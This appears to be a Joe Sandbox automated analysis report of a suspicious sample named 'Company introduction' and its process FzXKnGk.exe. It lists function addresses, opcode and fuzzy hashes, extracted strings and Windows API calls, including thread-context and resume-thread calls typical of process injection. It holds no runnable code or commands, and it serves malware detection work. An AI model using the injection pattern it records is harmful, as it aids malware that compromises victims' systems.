Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceb53a7d6a84c4ef59f6461ea0148b87b413570e724c67f88e9d707e9131fd79
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: ceb53a7d6a84c4ef59f6461ea0148b87b413570e724c67f88e9d707e9131fd79
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 017D8EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 4b86477a79635a4c687a88a22b218010c233083cd5f0ca3706f3fce5af5f11ab
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 24C0123320C1282AA325104EBC40AA3AA9DC2C12B4E2101B7FA1C93200A8429C8001BA

Function 017DAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6268c857e46047d60561132b8722a93e1eaa6277a390361976a584897d5c8d0f
Instruction ID: 10020b4c0b0b0afbcfa40ef02bf89a11f55cdf1c87d6f26b823478afcf0345da
Opcode Fuzzy Hash: 6268c857e46047d60561132b8722a93e1eaa6277a390361976a584897d5c8d0f
Instruction Fuzzy Hash: 91D0673AB40018DFCB049F99E8408DDF7B6FB98261B548516E915A3261C6319925DB54

Function 017D6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b527ec78fce79e9a856df5ff07b4e116860718f48ac8a5a1dfd472dace085e9a
Instruction ID: 4e3691ede8a45ea824525f35c7de2bbab27bbfac79170f59b85ab864016ff36a
Opcode Fuzzy Hash: b527ec78fce79e9a856df5ff07b4e116860718f48ac8a5a1dfd472dace085e9a
Instruction Fuzzy Hash: C1C012308447098EC509FB75FD45955B73EE690204B4489309405067ADDF7D5C994790

Non-executed Functions

Function 017D6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 017D6936
\;^q, xrefs: 017D692C
\;^q, xrefs: 017D6952
\;^q, xrefs: 017D695E

Memory Dump Source

Source File: 00000006.00000002.2940249180.00000000017D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_17d0000_Company introduction.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 52552f23de01e90ae3dbc4a52bf508c08a8b062589324675ce0f02baa1910a35
Instruction ID: 02654840a821289bbcd245c45aa48b316307a5702b532ffae07ed4d2249151d4
Opcode Fuzzy Hash: 52552f23de01e90ae3dbc4a52bf508c08a8b062589324675ce0f02baa1910a35
Instruction Fuzzy Hash: FD01DF31B401089FCB24CE2CC5449A5B7FBAF88A6072544AEF546CF3B5EA31EC418740

Analysis Process: FzXKnGk.exePID: 7888, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	91
Total number of Limit Nodes:	8

Executed Functions

Function 00DBE800 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00DBE87E
GetCurrentThread.KERNEL32 ref: 00DBE8BB
GetCurrentProcess.KERNEL32 ref: 00DBE8F8
GetCurrentThreadId.KERNEL32 ref: 00DBE951

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 601ee02ec59819ae36cf11af5e62129e44ed3abd140d2304df33efe86d1f0a25
Instruction ID: a789e1297747cb9500c5b235c4e9afb2dbbf630a7e0d07aa3dcabe045d34d8f5
Opcode Fuzzy Hash: 601ee02ec59819ae36cf11af5e62129e44ed3abd140d2304df33efe86d1f0a25
Instruction Fuzzy Hash: 485162B0900209CFDB04CFAAD548BDEBBF1AF88314F24C469E049A73A0DB749984CF65

Function 00DB5D77 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00DB5E51

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 00c092fafeda1aa2105caae312c44801fdea3da47d5b1a4c515015bbfa974bed
Instruction ID: 36172aa1da3b18510da79cb3cd503921940c888a1a0c12d629993099d7e7506d
Opcode Fuzzy Hash: 00c092fafeda1aa2105caae312c44801fdea3da47d5b1a4c515015bbfa974bed
Instruction Fuzzy Hash: A44125B0C00B58CFDB15CFA9D8487DDBBF1AF49304F2481AAD409AB255DB759946CFA0

Function 00DB5D94 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00DB5E51

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 44f415e2e34f2056f1d796ede406519bd29f037f6f1d6dd5285799765b6c054e
Instruction ID: 2b9f08d40cd67f86e45d1784d589a00bf117ca745a9a38d23fdbfe4641b6227a
Opcode Fuzzy Hash: 44f415e2e34f2056f1d796ede406519bd29f037f6f1d6dd5285799765b6c054e
Instruction Fuzzy Hash: 2D41D2B0C00619CFDB24CFA9D9447DEBBF5BF49304F24806AD409AB255DB75A945CFA0

Function 00DB4524 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00DB5E51

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 984b8eaff0ac9f059ab426ace7b13eb8bd52924e0e5efb32ee3ccce645209cd4
Instruction ID: e8404fbf667029dce6bc8bf21c809196a512f432d019c7120cc90140d42535ff
Opcode Fuzzy Hash: 984b8eaff0ac9f059ab426ace7b13eb8bd52924e0e5efb32ee3ccce645209cd4
Instruction Fuzzy Hash: A841DFB0C00619CADB24CFA9D844BDEBBF5BF48304F24806AE409AB255DBB5A945CF90

Function 02948F88 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1756807740.0000000002940000.00000040.00000800.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2940000_FzXKnGk.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 0839a4c112b85081a7df2c151c4e903265cf7915384a454b3e5ff13c01d76651
Instruction ID: 05d1dd2199df353053b24049e6d9e8b4f64b794c5f2021b0f6f89af15d8bf4f8
Opcode Fuzzy Hash: 0839a4c112b85081a7df2c151c4e903265cf7915384a454b3e5ff13c01d76651
Instruction Fuzzy Hash: FC31AD719043499FCB11CFA9D840ADEBFF8EF09310F14806AF954A7261C735A850DFA1

Function 06EEFCE8 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06EEFD6E

Memory Dump Source

Source File: 00000007.00000002.1761285331.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ee0000_FzXKnGk.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8f5fd2bb74c937a104581dbd8413509db2bb3d99d9c0e4c1e3d71b427bf998f9
Instruction ID: 83f78798a9e2af5067d6ff15d731e106cc8a54ea13cfd40cae13791810046ac6
Opcode Fuzzy Hash: 8f5fd2bb74c937a104581dbd8413509db2bb3d99d9c0e4c1e3d71b427bf998f9
Instruction Fuzzy Hash: C02145B5D003088FDB10DFAAC4857EEBFF4AF88324F10842AD459A7240C7789945CFA5

Function 06EEFCF0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06EEFD6E

Memory Dump Source

Source File: 00000007.00000002.1761285331.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ee0000_FzXKnGk.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d636a6a1004833540e82045eeb21d9f411c825153167e08caca11379a9a42bdd
Instruction ID: 5311f83594025697bd46a4b188e5e9997fe4a76b9b7008fe3d3c63acba26f624
Opcode Fuzzy Hash: d636a6a1004833540e82045eeb21d9f411c825153167e08caca11379a9a42bdd
Instruction Fuzzy Hash: 042107B5D003098FDB10DFAAC4857EEBBF4AF88324F14842AD559A7250C7789945CFA5

Function 00DBEA48 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00DBEACF

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 87c8d4caf9a439787e9a834402a1d3c32334e4866c51198b84bca8047110549d
Instruction ID: 18a7a36fee201c47f53f22faf78852f2160058c5b473597c70baacb6cd3ad2ce
Opcode Fuzzy Hash: 87c8d4caf9a439787e9a834402a1d3c32334e4866c51198b84bca8047110549d
Instruction Fuzzy Hash: 3B21B3B5900258DFDB10CF9AD584ADEFBF8FB48310F14841AE954A7350D374A944CFA5

Function 029480F8 Relevance: 1.6, APIs: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,02948FA2,?,?,?,?,?), ref: 02949047

Memory Dump Source

Source File: 00000007.00000002.1756807740.0000000002940000.00000040.00000800.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2940000_FzXKnGk.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 35240c3eb84f68e385cc245549fbf39a27a220aef6cccc0b70a3fa4c35950ff0
Instruction ID: ea755a9e231461aed454f1561cb93ca9d21f52a6994046c467d3663c34f81ee0
Opcode Fuzzy Hash: 35240c3eb84f68e385cc245549fbf39a27a220aef6cccc0b70a3fa4c35950ff0
Instruction Fuzzy Hash: 8B2147B5800259DFDB10DF9AD844AEEBFF8EF48324F14845AE554A7260C375A984CFA4

Function 00DBB073 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 00DBB0E5

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: e4d660848a16e83a6abd289a922e9245ecba3011179362c65586ed283d68000a
Instruction ID: e9fd4c457c5bb0c5e7c7d1e7568be45bcf603b3ae38dec61c1fc55ad4df9b682
Opcode Fuzzy Hash: e4d660848a16e83a6abd289a922e9245ecba3011179362c65586ed283d68000a
Instruction Fuzzy Hash: E521A971805788CECB10DFA9D8043EABFF4AF1A324F1480AAD49AA7352C3795A45CB71

Function 02948104 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,02948FA2,?,?,?,?,?), ref: 02949047

Memory Dump Source

Source File: 00000007.00000002.1756807740.0000000002940000.00000040.00000800.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2940000_FzXKnGk.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: d1cfcefaa39516fba2e9c5cef07109815f6725b4748c550da15be1e27fd59e87
Instruction ID: 61357edb0b87fa97665ef11a1a928ae6c7112300db54ce9e09e048778c37651b
Opcode Fuzzy Hash: d1cfcefaa39516fba2e9c5cef07109815f6725b4748c550da15be1e27fd59e87
Instruction Fuzzy Hash: 0D1156B5900249DFDB20CF9AD844BEFBFF8EB48320F14845AEA54A7250C375A954CFA4

Function 06EEFC38 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06EEFCA2

Memory Dump Source

Source File: 00000007.00000002.1761285331.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ee0000_FzXKnGk.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 759acf0c910c0f08e15b9eb240dd65c6c3eb37a0f646ffe0dd0089456c845a00
Instruction ID: a369f770bdf565675931dfd90c5ff276f511a0a9f7644baa405f220113d8431d
Opcode Fuzzy Hash: 759acf0c910c0f08e15b9eb240dd65c6c3eb37a0f646ffe0dd0089456c845a00
Instruction Fuzzy Hash: 5A1158B5D003488FCB10DFAAD4457EEFFF4AF88324F24842AC459A7250C675A545CBA4

Function 06EEFC40 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06EEFCA2

Memory Dump Source

Source File: 00000007.00000002.1761285331.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ee0000_FzXKnGk.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: bb567a6f4932c58d095d2f0fe7d3ea28e930e2a28dbd77519a959e51773ad2df
Instruction ID: 86f58c598bb16cf62d721072e7a0ed23f921ae1662ee385be713f6ca807f9568
Opcode Fuzzy Hash: bb567a6f4932c58d095d2f0fe7d3ea28e930e2a28dbd77519a959e51773ad2df
Instruction Fuzzy Hash: D51125B5D003488BCB20DFAAC5457EEFBF4AF88324F20842AD559A7250CA75A944CBA4

Function 00DBC760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00DBC7C6

Memory Dump Source

Source File: 00000007.00000002.1755638501.0000000000DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_db0000_FzXKnGk.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 94b7edecc3263517367e06f4c56a9b25570dc53a3d18b42ac0dee69bc6b08927
Instruction ID: 1c53870d97760568f32be81537fd7c9a58ad1cb6d80cbf821bc10c0d0a36d9d9
Opcode Fuzzy Hash: 94b7edecc3263517367e06f4c56a9b25570dc53a3d18b42ac0dee69bc6b08927
Instruction Fuzzy Hash: C1110FB6C00249CFCB10CF9AD444ADEFBF8AF88324F14846AD859A7610C775A545CFA1

Function 00B6D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755105355.0000000000B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b6d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3f5b7f3ebd8e1374c75dec76534e2fa0e6cfb6e304b0954bf0d7c831f04bd3
Instruction ID: a18b34f427d5a0dbeac3829257ac06cf52f650510ccc7ae097edb8da1ba61ce4
Opcode Fuzzy Hash: fd3f5b7f3ebd8e1374c75dec76534e2fa0e6cfb6e304b0954bf0d7c831f04bd3
Instruction Fuzzy Hash: B1212871A04200DFCB05DF14D9D4B2BBFA5FB88314F24C6A9ED050B256C33AD856CBA1

Function 00B6D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755105355.0000000000B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b6d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c3be09d9f9d85b4a86b73e00f0ff8fab8c145a1ed0626071af9a3d46491de6
Instruction ID: 45e52e9ad2d9d8c8832370b5fbab81c3860c8f8dd83ba42112ec47e52fe05ffa
Opcode Fuzzy Hash: 77c3be09d9f9d85b4a86b73e00f0ff8fab8c145a1ed0626071af9a3d46491de6
Instruction Fuzzy Hash: 57213A71A00240DFDB05DF14D9C0F27BFA5FBA8318F24C5A9D90A4B656C33AD856C7A1

Function 00B7D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755180971.0000000000B7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b7d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6129b5f0e7846edc207f5b7fff331cc26b003ac434ed4bb20c753088b20f6f7
Instruction ID: f12d98b13036cae271ea01097133a522c4cf65f18a83803dd0f0055a4f1f6794
Opcode Fuzzy Hash: f6129b5f0e7846edc207f5b7fff331cc26b003ac434ed4bb20c753088b20f6f7
Instruction Fuzzy Hash: BA21DE71604200EFDB05DF14DAC0B26BBB5FF88354F24C6ADE95E5B296C33AD846CA61

Function 00B7D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755180971.0000000000B7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b7d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a70a90b419e2040094592f9fabf4e2e31e3fc1bd17fcde73150b253cda88e74
Instruction ID: b78f153ab42f09a5988fe84574d8018e1957be498cd11fa86bc777d7c41c4f42
Opcode Fuzzy Hash: 5a70a90b419e2040094592f9fabf4e2e31e3fc1bd17fcde73150b253cda88e74
Instruction Fuzzy Hash: 4A21FF75604200DFCB14DF24D9D4B26BBB5EF88354F24C6ADE81E4B296C33AD847CA61

Function 00B7D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755180971.0000000000B7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b7d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34bae87a81065c860780fb4b238552049ab9bfcc9c561bb45d0308d4a521bd6
Instruction ID: e0866d7e361e9dacc0357a2d5e1a33556034328d73ae2bbb19d97560d4642b49
Opcode Fuzzy Hash: e34bae87a81065c860780fb4b238552049ab9bfcc9c561bb45d0308d4a521bd6
Instruction Fuzzy Hash: AA2162755083809FDB02CF14D994B15BFB1EF56314F28C5DAD8498F2A7C33A985ACB62

Function 00B6D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755105355.0000000000B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b6d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction ID: f25a1d535cae568abd5238d8e73a4a17b0bf7dce26fdb0eb6eedc912c162f1f4
Opcode Fuzzy Hash: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction Fuzzy Hash: 4D21CD76904240CFCB06CF00D9C4B16BFA2FB84314F24C2A9DC080A256C33AD82ACBA1

Function 00B6D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755105355.0000000000B6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b6d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: a3c197a92498d1e3d04050ee2b29a5036dca18edb75197380e939a8679be06bb
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 8411D676904280CFCB15CF14D5C4B16BFB1FBA4314F24C5AAD9450B656C33AD456CB91

Function 00B7D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1755180971.0000000000B7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b7d000_FzXKnGk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 9dfc53ed878357093b1ec5124443be2e0bb1a842c6d50a2afe7ef01a1b30c0cf
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 53117975504280DFDB16CF14D5C4B15BBB1FB84314F28C6AAD8494B696C33AD84ACB61

Analysis Process: FzXKnGk.exePID: 8144, Parent PID: 7888COMMON

Execution Graph

Execution Coverage:	19.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	16
Total number of Limit Nodes:	1

Executed Functions

Function 01839DE0 Relevance: 6.1, Strings: 4, Instructions: 1137COMMON

Download Yara Rule

Strings

4'^q, xrefs: 01839F0C
(o^q, xrefs: 0183A518
4'^q, xrefs: 0183AB13
4'^q, xrefs: 01839E04

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: bc6f2d7887f457c7967f58e15a1d5f8dd67e6708da11b35ae79b5122606ce646
Instruction ID: 2020121392d32415ac2269d96a6ffc4d18f94bf4a0a89d396758a71050f276a3
Opcode Fuzzy Hash: bc6f2d7887f457c7967f58e15a1d5f8dd67e6708da11b35ae79b5122606ce646
Instruction Fuzzy Hash: 11A29031A00209CFCB19CFA8C584AAEBBF6FF88310F198569E545DB265D735EE41CB91

Function 01836FC8 Relevance: 5.4, Strings: 4, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 01837212
,bq, xrefs: 0183728A
,bq, xrefs: 01837298
(o^q, xrefs: 01837220

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq
API String ID: 0-879173519
Opcode ID: cda97ea93c88b8d2a275303a3b3ba1038c2c2090f070d7439a4c9d78dac276ea
Instruction ID: d79cf746a02be6ea2929d23454d96297802c9702b8321619194ce07e8c0b7cd3
Opcode Fuzzy Hash: cda97ea93c88b8d2a275303a3b3ba1038c2c2090f070d7439a4c9d78dac276ea
Instruction Fuzzy Hash: A5024FB1A00219DFDB15CF68C884AADBBB6FF88304F598465E905EB261D734EE41CF91

Function 06F69548 Relevance: 3.4, APIs: 2, Instructions: 357
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 06F695E0

Memory Dump Source

Source File: 0000000C.00000002.2957026234.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6f60000_FzXKnGk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f373c173e2656d5caba6e5b7b441a0157f1e43f2c911de9c6b4fe0db18c4f73
Instruction ID: c06d646a4e68c2d6d207510768ccf4e784f7e87842287ec60d0d0bbc6fd7ec18
Opcode Fuzzy Hash: 8f373c173e2656d5caba6e5b7b441a0157f1e43f2c911de9c6b4fe0db18c4f73
Instruction Fuzzy Hash: AFF1F174E01219CFDB54CFA9D884B9DBBB2FF88304F5481A9E808AB355DB70A985CF50

Function 018369A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01836EDA
Hbq, xrefs: 01836DA6

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: 0b2a44730d27b0e70c46f1f7a604945c13281981fd76428f2aea044f0ef949c4
Instruction ID: ef2d5f7c40d0f50ee0e02eec4407f90669791239dd3dbb8035ba47a996acafd3
Opcode Fuzzy Hash: 0b2a44730d27b0e70c46f1f7a604945c13281981fd76428f2aea044f0ef949c4
Instruction Fuzzy Hash: E4127B70A002199FDB15DF69C894AAEBBF6FFC8300F248569E505DB395EB349E41CB90

Function 0183C147 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0183C3EF
PH^q, xrefs: 0183C400

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 04aec2da8c063fffd80940b01fb3313d688d544491f9c7b1bc04a29c6c4c8845
Instruction ID: 8bc5e91b22b3cdb5bbc6a0f1a2e5021441bc0dc34ad2c17904a329194c6b464d
Opcode Fuzzy Hash: 04aec2da8c063fffd80940b01fb3313d688d544491f9c7b1bc04a29c6c4c8845
Instruction Fuzzy Hash: B4A1D375E01618CFDB54CFAAD884A9DBBF2BF89310F18806AE409EB365DB309945CF51

Function 01835362 Relevance: 2.7, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 018355D9
PH^q, xrefs: 018355C8

Memory Dump Source

Source File: 0000000C.00000002.2940123502.0000000001830000.00000040.00000800.00020000.00000000.sdmp, Offset: 01830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1830000_FzXKnGk.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
